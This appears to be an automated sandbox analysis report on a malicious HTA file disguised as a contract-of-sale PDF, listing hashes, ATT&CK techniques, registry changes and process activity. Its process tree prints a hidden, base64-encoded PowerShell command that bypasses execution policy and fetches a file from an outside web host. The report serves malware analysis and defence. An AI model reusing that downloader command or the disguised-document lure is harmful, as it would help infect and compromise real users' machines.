27c34ef5f274515bb252b5e52c009260764918de9b44ef8a1eb549f221f66075

Analysis

max time kernel
891s
max time network
893s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
27-03-2023 18:41

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General

Target

_43234355_Contract_of_Sale_pdf.hta
Size

840B
MD5

6a8c611062057298887c83ccfe702a15
SHA1

8c3023a178c326d9da94273f6dfe62c73ca07f96
SHA256

27c34ef5f274515bb252b5e52c009260764918de9b44ef8a1eb549f221f66075
SHA512

c562f01f83fbc88f2b4f1177ebcba5ee1a1b752ab7ff94f910d064a4f6d012872496b2082f1bd1d8446b4c5e166bc6e7cdc35c98220742703ee4e30878896133

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1756 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1756 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1756	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1756	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 912 wrote to memory of 1756	912	mshta.exe	powershell.exe
PID 912 wrote to memory of 1756	912	mshta.exe	powershell.exe
PID 912 wrote to memory of 1756	912	mshta.exe	powershell.exe
PID 912 wrote to memory of 1756	912	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\_43234355_Contract_of_Sale_pdf.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -WindowStyle Hidden -NonInteractive -NoProfile -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBQACAAQgB5AHAAYQBzAHMAIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AYwAgACgASQAnAHcAJwByACgAJwBoAHQAdABwAHMAOgAvAC8AZwBnAGQAdAAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAGYAaQBsAGUALgB0AHgAdAAnACkAKQA=
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1756-57-0x0000000002360000-0x00000000023A0000-memory.dmp

Filesize
256KB

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memory/1756-58-0x0000000002360000-0x00000000023A0000-memory.dmp

Filesize
256KB

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